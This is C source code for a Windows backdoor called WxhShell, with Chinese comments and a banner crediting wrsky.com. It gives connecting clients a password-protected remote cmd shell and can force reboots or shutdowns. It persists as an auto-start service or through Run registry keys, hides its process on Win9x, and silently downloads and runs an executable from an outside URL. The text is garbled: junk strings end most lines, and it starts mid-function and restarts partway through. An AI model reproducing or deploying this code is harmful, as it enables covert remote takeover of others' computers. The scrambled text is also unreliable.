    closesocket(wsh); t;R drk  
    ExitThread(0); I& `>6=)  
    } 'k9?n)<DW  
    break; ~vCfMV[F  
    } ]wMp`}$b@L  
  // 关机 4HG@moYn@  
  case 'd': { e<wRA["  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0P5!fXs*  
    if(Boot(SHUTDOWN)) <z>K{:+>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .?TPoqs7Z  
    else { i>Cxi ZT  
    closesocket(wsh); ")q{>tV  
    ExitThread(0); %Jrdr`<  
    } NMSpi[dr  
    break; a=55bEn  
    } '.@'^80iQ  
  // 获取shell U#B,Q6~  
  case 's': { n&. bs7N2  
    CmdShell(wsh); [":[\D'  
    closesocket(wsh); :qx>P_&y}z  
    ExitThread(0); R|Oy/RGY$  
    break; 5 i1T?  
  } MuQBn7F{c  
  // 退出 E0nR Vg  
  case 'x': { 8Ee bWs*1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6zQ {Y"0  
    CloseIt(wsh); cI)XXb4  
    break; A2` QlhZ  
    } W~1/vJ.*l  
  // 离开 JlR'w]d M,  
  case 'q': { $RQ7rL3g{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); =A6/D    
    closesocket(wsh); `0r=ND5.  
    WSACleanup(); (1bz.N8z  
    exit(1); >`jsUeS  
    break; @-z#vJ5Qe{  
        } AUloP?24  
  } XA[G F6W,Y  
  } /!o(Y8e>x  
imx/hz!  
  // 提示信息 u_aln[oIv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dVDQ^O&  
} 9<An^lLK*  
  } /`iBv8!  
O<R6^0B42  
  return; x M1>kbo|  
} tQ7DdVdix  
h(,SAY_  
// shell模块句柄 hT&,5zaWdv  
int CmdShell(SOCKET sock) (D'Z4Y  
{ 5 zlgmCGow  
STARTUPINFO si; guC/eSxv  
ZeroMemory(&si,sizeof(si)); i^{.Q-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; c<V.\y0x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n9;+RhxA  
PROCESS_INFORMATION ProcessInfo; UarU.~Uqi  
char cmdline[]="cmd"; ^n@.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p}KZ#"Q  
  return 0; eSynw$F2N  
} Ae,-. xJ  
}b9#.H9  
// 自身启动模式 YyX/:1 sg>  
int StartFromService(void) \TG!M]D:  
{ n:?fv=9n  
typedef struct A9! gww  
{ , #yE#8  
  DWORD ExitStatus; R v9?<]  
  DWORD PebBaseAddress; a;Ic!:L  
  DWORD AffinityMask; {~ yj]+Im  
  DWORD BasePriority; H/_R!G8 \  
  ULONG UniqueProcessId; r}i<cyL  
  ULONG InheritedFromUniqueProcessId; %$j)?e  
}   PROCESS_BASIC_INFORMATION; EXDtVa Ot  
j%iz>  
PROCNTQSIP NtQueryInformationProcess; dbkccO}WB  
7N^9D H{`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e~r%8.Wm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5_+vjV;5  
-OpI,qyS  
  HANDLE             hProcess; 4#uWj ?u  
  PROCESS_BASIC_INFORMATION pbi; PsDks3cG  
\#5t%t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); M}4%LjD  
  if(NULL == hInst ) return 0; zCD?5*7  
cL&V2I5O  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p6[a"~y  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bz_Zk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); p.q :vI$J  
rt%.IQdY  
  if (!NtQueryInformationProcess) return 0; xm>RLx}9  
:Ia3yi#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rE"`q1b#  
  if(!hProcess) return 0; ZVpMR0!  
~V?O%1)k?\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9Ot;R?>(  
U">D_ 8  
  CloseHandle(hProcess); TX]4Y953D  
: j&M&+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KO(+%>^R  
if(hProcess==NULL) return 0; XM3N>OR.  
@.fuR#  
HMODULE hMod; e*uaxh+7  
char procName[255]; OiX>^_iDt  
unsigned long cbNeeded; 2q J}5  
m~~_iz_*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `rC9i5:  
Cz x U @  
  CloseHandle(hProcess); 1TfK"\  
hS&,Gm`^  
if(strstr(procName,"services")) return 1; // 以服务启动 L)VEA8}  
)((Jnm D  
  return 0; // 注册表启动 2%N$Y]  
} nBL7LocvR  
k,M%/AXd  
// 主模块 693J?Yah[  
int StartWxhshell(LPSTR lpCmdLine) I#Ay)+D  
{ B:5( sK  
  SOCKET wsl; w!)B\l^+c  
BOOL val=TRUE; 6\)61o_1|  
  int port=0; S#qd#Zk|Y  
  struct sockaddr_in door; c&2ZjM  
/ Dj6Bj }  
  if(wscfg.ws_autoins) Install(); /hf}f=7kH  
@(PYeXdV6&  
port=atoi(lpCmdLine); ^jb55X}  
J_R54Y~vu  
if(port<=0) port=wscfg.ws_port; [P2$[|IM  
xBd#  
  WSADATA data; oD_je~b)  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F"j0;}+N  
bp2l%A;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0F sz  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); pt;E~_  
  door.sin_family = AF_INET; VO>A+vx3M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +Y,>ftN  
  door.sin_port = htons(port); d8Jy$,/`?  
|c,":R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { STs~GOm-  
closesocket(wsl); JpE4 o2  
return 1; zJ7vAL  
} `@ULG>   
9H ?er_6Yf  
  if(listen(wsl,2) == INVALID_SOCKET) { ?hvPPEJf  
closesocket(wsl); j$^3  
return 1; EtJyI&7VK  
} * 7.!"rb8A  
  Wxhshell(wsl); Gvv~P3Dm  
  WSACleanup(); i4 KW  
3N(s)N_P M  
return 0; p>=YPi/d  
?8. $A2(Xw  
} j[gX"PdQ  
lDO9GNz$  
// 以NT服务方式启动 #_y#sDfzh  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]uX'[Z}t  
{ q=ZLSBZ  
DWORD   status = 0; 2V_C_5)1  
  DWORD   specificError = 0xfffffff; ),0_ C\  
8I04Nx  
  serviceStatus.dwServiceType     = SERVICE_WIN32; oAe]/j$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +ZtqR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n(,b$_JK7  
  serviceStatus.dwWin32ExitCode     = 0; V0z.w:-  
  serviceStatus.dwServiceSpecificExitCode = 0; G>&=rmK"  
  serviceStatus.dwCheckPoint       = 0; Y8`4K*58%  
  serviceStatus.dwWaitHint       = 0; B:)9hF?o@  
fLL_{o0T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |{+D65R  
  if (hServiceStatusHandle==0) return; #9}E@GGs  
^kxkP}[Z.  
status = GetLastError(); $'dJ+@  
  if (status!=NO_ERROR) _ 0%sYkUc  
{ 5j1}?0v_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; \v{tK;  
    serviceStatus.dwCheckPoint       = 0; 4m$nVv  
    serviceStatus.dwWaitHint       = 0; 5#s?rA%u  
    serviceStatus.dwWin32ExitCode     = status; f:\jPkf'  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rv ?G o2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ji4c8*&Jpc  
    return; z+FhWze  
  } ~T>_}Q[M2p  
G`PSb<h\oc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mm\Jf  
  serviceStatus.dwCheckPoint       = 0; 2]C`S,)  
  serviceStatus.dwWaitHint       = 0; |/C>xunzz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [t5:4 Iq  
} 1@RctI_}  
S9}P 5;u  
// 处理NT服务事件,比如:启动、停止 g4!zH};n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \ }>1$kH;  
{ XWZ *{/u  
switch(fdwControl) "2(lgxhj  
{ bEP-I5j1t  
case SERVICE_CONTROL_STOP: ?dlQE,hB$  
  serviceStatus.dwWin32ExitCode = 0; 2<)63[YO  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Fh9`8  
  serviceStatus.dwCheckPoint   = 0; .,(bDXl?  
  serviceStatus.dwWaitHint     = 0; e4u$+  
  { qCOv4b`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >/nS<y>  
  } VS@o_fUx)  
  return; r<cyxR~  
case SERVICE_CONTROL_PAUSE: Lw\ANku  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "12.Bi.O"[  
  break; @4Z>;  
case SERVICE_CONTROL_CONTINUE: rBa <s  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kc^ Q ?-?  
  break; ,,S5 8\x  
case SERVICE_CONTROL_INTERROGATE: dbSIC[q  
  break; I \zM\^S>]  
}; 7g}4gX's  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FYR%>Em  
} %50}oD@  
P}N%**>`  
// 标准应用程序主函数 a{^[<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) > n Y<J  
{ 9"1 0:\U  
_ $PZID  
// 获取操作系统版本 KL,=Z&.<=  
OsIsNt=GetOsVer(); 3&_O\nD  
GetModuleFileName(NULL,ExeFile,MAX_PATH); db`xlvrCY  
BRYhL|d~.  
  // 从命令行安装 5_ -YF~  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5 :6^533]  
H`C DfTy  
  // 下载执行文件 Fx 2 KRxk  
if(wscfg.ws_downexe) { CdlE"Ye  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =HmV0  
  WinExec(wscfg.ws_filenam,SW_HIDE); gN$.2+:  
} >Jt,TMMlt  
cOcF VPQ  
if(!OsIsNt) { p;`jmF   
// 如果时win9x,隐藏进程并且设置为注册表启动 z8{ kwz  
HideProc(); trnjOm  
StartWxhshell(lpCmdLine); &Z/aM?  
} !}|n3wQ  
else xCF k1%qf  
  if(StartFromService()) <KqZ.7XfB  
  // 以服务方式启动 %&5 !vK  
  StartServiceCtrlDispatcher(DispatchTable); $UavM|  
else 9KRHo%m  
  // 普通方式启动 _O2},9L n  
  StartWxhshell(lpCmdLine); K,bv\j;f  
W,5A|Q~  
return 0; U(3+*'8r,1  
} /+pbO-rW*  
I!&|L0Qq  
)9MmL-7K  
a'U7 t  
=========================================== I-oI,c%+  
>(S4h}^I  
uQazUFw  
(f^WC,  
2s>dlz  
u@5vK2  
" /:d03N\9k  
_}R?&yO  
#include <stdio.h> _R<eWp  
#include <string.h> ewg&DBbN"  
#include <windows.h> Gf\Dc   
#include <winsock2.h> L22GOa0  
#include <winsvc.h> H|k!5W^  
#include <urlmon.h> jnsV'@v8Nj  
dqO!p6  
#pragma comment (lib, "Ws2_32.lib") _"_ W KlN  
#pragma comment (lib, "urlmon.lib") ~Z!!wDHS  
}UJS*mR  
#define MAX_USER   100 // 最大客户端连接数 p0~=   
#define BUF_SOCK   200 // sock buffer 9YRoWb{y  
#define KEY_BUFF   255 // 输入 buffer CwZ+P n0  
2%U)y;$m2  
#define REBOOT     0   // 重启 /fbI4&SB!  
#define SHUTDOWN   1   // 关机 $7eO33Bm  
i71 ,  
#define DEF_PORT   5000 // 监听端口  hX?L/yf  
MEMD8:['  
#define REG_LEN     16   // 注册表键长度 IXNcn@tN  
#define SVC_LEN     80   // NT服务名长度 < gB>j\:  
h\".TySz  
// 从dll定义API lb ol+O65  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7;RhA5M  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); SO%x=W  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EM!#FJh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h~haA8i?{  
?rID fEvV  
// wxhshell配置信息 %7%7 W*0d  
struct WSCFG {  {I+   
  int ws_port;         // 监听端口 6I GUp  
  char ws_passstr[REG_LEN]; // 口令 HMGby2^+  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;SoKX?up5  
  char ws_regname[REG_LEN]; // 注册表键名 }VxbO8\b(  
  char ws_svcname[REG_LEN]; // 服务名 |@? B%sY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 a3e<< <Z>R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |6w.m<p  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c9imfA+e  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~L(=-B`Ow  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0yr=$F(]s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RFd.L@-]  
,g2|8>sJP  
}; Z3?,r[   
x4|>HY<p?  
// default Wxhshell configuration :Y/i%#*1  
struct WSCFG wscfg={DEF_PORT, :=vB|Ch:~  
    "xuhuanlingzhe", k<RJSK8  
    1, .WM0x{t/  
    "Wxhshell", l0AgW_T  
    "Wxhshell", Ry>c]\a]  
            "WxhShell Service", ufAp 7m@ud  
    "Wrsky Windows CmdShell Service", =<w6yeko  
    "Please Input Your Password: ", d!kiWmw,  
  1, 6, \i0y5n  
  "http://www.wrsky.com/wxhshell.exe", JR{3n*  
  "Wxhshell.exe" <ABN/nH  
    }; RB<LZHZI  
| n5F_RL  
// 消息定义模块 )w];eF0c  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ''Fy]CwH(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UH/)4Wg  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N|hNh$J[  
char *msg_ws_ext="\n\rExit."; k%-_z}:3V  
char *msg_ws_end="\n\rQuit."; TJFxo? gC"  
char *msg_ws_boot="\n\rReboot..."; 1;cV [&3  
char *msg_ws_poff="\n\rShutdown..."; le*mr0a  
char *msg_ws_down="\n\rSave to "; uU(G&:@  
6OR5zXpk  
char *msg_ws_err="\n\rErr!"; 6Ug( J$Ouh  
char *msg_ws_ok="\n\rOK!"; s\QhCS  
RK?b/9y  
char ExeFile[MAX_PATH]; lxoc.KDtR  
int nUser = 0; cAq>|^f0a  
HANDLE handles[MAX_USER]; hNBv|&D#  
int OsIsNt; &09z`* ,  
u4TU"r("A  
SERVICE_STATUS       serviceStatus; oT2h'gu")  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Nf8."EDUW  
-5,QrMM<  
// 函数声明 @w&VI6  
int Install(void); wHm{4  
int Uninstall(void); LX),oR  
int DownloadFile(char *sURL, SOCKET wsh); jv7-i'I@  
int Boot(int flag); bK;I:JK3  
void HideProc(void); ^|y6oj  
int GetOsVer(void); eq.K77El{J  
int Wxhshell(SOCKET wsl); #g[jwl'  
void TalkWithClient(void *cs); N),bhYS]  
int CmdShell(SOCKET sock); (pM5B8U  
int StartFromService(void); S|!)_RL  
int StartWxhshell(LPSTR lpCmdLine); a@`15O:  
|_L\^T|6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !xmvCH=2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +7n;Bsk _  
`<&RZB2  
// 数据结构和表定义 cPA-EH  
SERVICE_TABLE_ENTRY DispatchTable[] = tiG=KHK%o  
{ *A C){M  
{wscfg.ws_svcname, NTServiceMain}, c:etJ  
{NULL, NULL} K  +n  
}; 4cJ7W_ >i6  
?dMyhU}  
// 自我安装 z{:T~s  
int Install(void) P#-9{T   
{ *y[i~{7:  
  char svExeFile[MAX_PATH]; Jydz2 zt!  
  HKEY key; )6U&^9=  
  strcpy(svExeFile,ExeFile); H.|v ^e  
`tA~"J$32l  
// 如果是win9x系统,修改注册表设为自启动 K] ;`  
if(!OsIsNt) { j`jF{k b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { am.}2 QZU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #4S">u  
  RegCloseKey(key); z%cq%P8g  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { = Q|_v}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u&Q2/Y  
  RegCloseKey(key); _mVq9nBEf  
  return 0; ~EJVlj i  
    } ,E,oz{,i(  
  } *,q W9z  
} S <~"\<ED  
else { X,VOKj.%  
D?;8bI%"  
// 如果是NT以上系统,安装为系统服务 2)}ic2]pn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); g]au|$L4  
if (schSCManager!=0) P 1`X<A  
{ /V@~Vlww  
  SC_HANDLE schService = CreateService Ny|2Fcs  
  ( \| qr&(PG  
  schSCManager, \49LgN@\  
  wscfg.ws_svcname, R3+y*< <e  
  wscfg.ws_svcdisp, 2q V.`d  
  SERVICE_ALL_ACCESS, &K2J$(.t  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , .OFwGOL%  
  SERVICE_AUTO_START, ,{wA%Oy,  
  SERVICE_ERROR_NORMAL, dL;C4[(N  
  svExeFile, %oVoE2T{@  
  NULL, Wr+?ul*_  
  NULL, 4oW6&1  
  NULL, Y1 RiuJtL  
  NULL, ?EP>yCR9  
  NULL BR\3ij  
  ); L=Cm0q 3 v  
  if (schService!=0) A0{ !m  
  { Cv7FVl-I  
  CloseServiceHandle(schService); 3LXS}~&  
  CloseServiceHandle(schSCManager); *s4h tt  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zK.%tx}+=k  
  strcat(svExeFile,wscfg.ws_svcname); R T/T+Q!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A[20ic  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mqL&bmT  
  RegCloseKey(key); !ceT>i90h  
  return 0; 5Y<O  
    } ]BAM _  
  } 8W' ,T  
  CloseServiceHandle(schSCManager); ["l1\YCi  
} yVA<-PlS<  
} ,>(/}=Z.  
i}SJ   
return 1; DY2r6bcn`  
} AQX~do\A  
Vs@[="  
// 自我卸载 AITV+=sN  
int Uninstall(void) W vh3Y,|3  
{ 1=LI))nV  
  HKEY key; TAfLC)  
. ] =$((  
if(!OsIsNt) { E.*TJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6zuWG0t  
  RegDeleteValue(key,wscfg.ws_regname); E/x2LYH  
  RegCloseKey(key); #H9J/k_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! 63>II  
  RegDeleteValue(key,wscfg.ws_regname); Z"spua5  
  RegCloseKey(key); tbz?th\#  
  return 0; r![RRa^  
  } j2GO ZKy  
} J:6wFmU  
} bb<qnB  
else { _86pbr9  
aD yHIh8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5Fh?YS=  
if (schSCManager!=0) a<AT;Tc  
{ ;3ZHm*xJx  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); IIC1T{D}v  
  if (schService!=0) Jpi\n- d!  
  { "[ f"h  
  if(DeleteService(schService)!=0) { fq^D<c{3  
  CloseServiceHandle(schService); nXjf,J-T  
  CloseServiceHandle(schSCManager); _`6fGu& W  
  return 0; C.SG m  
  } _ _x2xtrH  
  CloseServiceHandle(schService); q,b6).  
  } dWR0tS6vR`  
  CloseServiceHandle(schSCManager); SplEY!.k  
} U@ #YKv  
} =4RXNWkud  
x13t@b  
return 1; Rw4"co6  
} (r8Rb*OP  
=`VA_xVu  
// 从指定url下载文件 8Ar5^.k  
int DownloadFile(char *sURL, SOCKET wsh) 6{2LV&T=u  
{ bs-O3w  
  HRESULT hr; CV/ei,=9  
char seps[]= "/"; wNsAVUjLe  
char *token; L2"fO  
char *file; 1.7tXjRd+  
char myURL[MAX_PATH]; QbGc 9MM  
char myFILE[MAX_PATH]; <]f ru1  
dB{o-R  
strcpy(myURL,sURL); pJM~'tlHV  
  token=strtok(myURL,seps); 3#)I7FG  
  while(token!=NULL) v7rEU S-  
  { S+c)  
    file=token; ~udi=J |  
  token=strtok(NULL,seps); b"U{@  
  } ')pXQ  
unE h  
GetCurrentDirectory(MAX_PATH,myFILE); i:ar{ q  
strcat(myFILE, "\\"); :W'Yt9v)  
strcat(myFILE, file); J23Tst#s  
  send(wsh,myFILE,strlen(myFILE),0); >;@ _TAF  
send(wsh,"...",3,0); bn`1JI@S4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D&5>Op4U  
  if(hr==S_OK) 1mT3$Z  
return 0; ?L=@Zs  
else bLMN9wGOgK  
return 1; Rv9oK-S  
Uloa]X=Im8  
} //C3tW  
Wj2s+L7,  
// 系统电源模块 $N$ ZJC6(@  
int Boot(int flag) I@ dS/  
{ sSVgDQ~q  
  HANDLE hToken; yya"*]*S  
  TOKEN_PRIVILEGES tkp; <uGc=Du  
Q+e|;Mj  
  if(OsIsNt) { plL##?<D<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RS&l68[6  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); g'G"`)~ 2  
    tkp.PrivilegeCount = 1; ?-^eI!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FJ}RT*7_C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sQt]Y&_/@  
if(flag==REBOOT) { l7G&[\~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7CfHL;+m<4  
  return 0; wLeP;u1  
} 8l(_{Y5(-  
else { fVCpG~&t  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) w_-v!s2  
  return 0; y8T%g(  
} m`(5B  
  } fp^!?u  
  else { ve|:z  
if(flag==REBOOT) { _jmkAmeu  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?m3,e&pB5  
  return 0; xA|72!zk0P  
} Fl,(KST z  
else { ^8S'=Bk  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n(-1vN  
  return 0; iN\D`9e  
} ?`PG`|2~  
} CBC0X}_`  
-)%l{@Mr  
return 1; qaK9E@l  
} BU|=`Kb|))  
C[h"w'A2  
// win9x进程隐藏模块 NFT&\6!o  
void HideProc(void) S]^`Qy)  
{ H f}->  
`usX(snY  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1#H=<iJ  
  if ( hKernel != NULL ) <uXZ*E  
  { cPcp@Dp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _97A9wHj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); VUF^ r7e  
    FreeLibrary(hKernel); PqFK*^)s  
  } }:UNL^e?  
#QdBI{2  
return; @y,pf Wh`  
} d_CY=DHF%`  
D+Osz  
// 获取操作系统版本 O)g\/uRy  
int GetOsVer(void) D/1{v  
{ 2y6 e]D  
  OSVERSIONINFO winfo; octBt`\Of  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ew>E]Ys  
  GetVersionEx(&winfo); E"p;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9&R. <I  
  return 1; m,i@  
  else > sW9n[  
  return 0; 3ifQKKcR{  
} #'}?.m  
Zo}O,;(F5  
// 客户端句柄模块 .W _'6Q+  
int Wxhshell(SOCKET wsl) KiN8N=z  
{ i v7^ !  
  SOCKET wsh; ay}} v7)GM  
  struct sockaddr_in client; >BU"C+a8g  
  DWORD myID; ,DUD4 [3  
9 06b=  
  while(nUser<MAX_USER) wO6 D\#  
{ y; LL^:rq  
  int nSize=sizeof(client); zS]8ma  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "8{#R*p  
  if(wsh==INVALID_SOCKET) return 1; z;? 3 2K  
#*QnO\.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rPf<8oH  
if(handles[nUser]==0) 9ohaU  
  closesocket(wsh); ZzZy2.7  
else yu ~Rk  
  nUser++; dtHB@\1  
  }  4[=vt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e nsou!l  
,,_$r7H`  
  return 0; r+6=b"  
} !g=2U`j^  
I<p- o/TP  
// 关闭 socket Z(F`M;1>xI  
void CloseIt(SOCKET wsh) &z!yY^g  
{ b4o`eR  
closesocket(wsh); `acX1YWh5  
nUser--; Z_iVOctP  
ExitThread(0); G.CkceWRn  
} .wj?}Fr?97  
\.m"u14[b  
// 客户端请求句柄 : b9X?%L~  
void TalkWithClient(void *cs) Li[ :L  
{ p%;n4*b2  
9"T&P_   
  SOCKET wsh=(SOCKET)cs; _}4l4  
  char pwd[SVC_LEN]; R5_xli%  
  char cmd[KEY_BUFF]; =ELl86=CG  
char chr[1]; oC"1{ybyl  
int i,j; :m~R<BQ"  
[wHGt?R  
  while (nUser < MAX_USER) { 4hRc,Vq  
*}mk$bA  
if(wscfg.ws_passstr) { cj=6_k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |$AoI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :Fe}.* t  
  //ZeroMemory(pwd,KEY_BUFF); ]iP  +Y  
      i=0; v#yeiE4  
  while(i<SVC_LEN) { "Dr8}g:X  
S6~&g|T,  
  // 设置超时 OsQB` D  
  fd_set FdRead; X@:[.eI~  
  struct timeval TimeOut;  R d|#-7  
  FD_ZERO(&FdRead); KmUH([#  
  FD_SET(wsh,&FdRead); 2y"]rUS`  
  TimeOut.tv_sec=8; ;8!L*uMI  
  TimeOut.tv_usec=0; &-l(nr]h]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); A.`) 0dV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -u!{8S~wA  
EZICH&_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "n,? )  
  pwd=chr[0]; y2nwDw(xF  
  if(chr[0]==0xd || chr[0]==0xa) { Pe-1o#7~W  
  pwd=0; &w4~0J>v!  
  break; bq+ Q$#F2X  
  } V 4~`yT?*"  
  i++; gaBVD*>  
    } .(D,CGtYb  
S3cV^CzNg  
  // 如果是非法用户,关闭 socket HN7C+e4U~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X:3W9`s )*  
} -SF *DZ  
2<"kfa n  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); J0%e6{C1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #* KmPc+  
Ze?(N~  
while(1) { 1?!z<<  
gHL v zm  
  ZeroMemory(cmd,KEY_BUFF); o \r6 iO  
^)\z  
      // 自动支持客户端 telnet标准   $G $147z  
  j=0; %yr(i 6L  
  while(j<KEY_BUFF) { 3b9SyU2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k;)t}7(  
  cmd[j]=chr[0]; 57nSyd] PR  
  if(chr[0]==0xa || chr[0]==0xd) { Y*}xD;c k  
  cmd[j]=0; tN-U,6c]  
  break; VB(S]N)F^  
  } 7Pb: z4j  
  j++; Hu4\4x$?  
    } M.*3qWM  
5!tiu4LU  
  // 下载文件 2.6F5&:($  
  if(strstr(cmd,"http://")) { ;s$bVGHr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9/LnO'&-  
  if(DownloadFile(cmd,wsh)) -FxE!K  
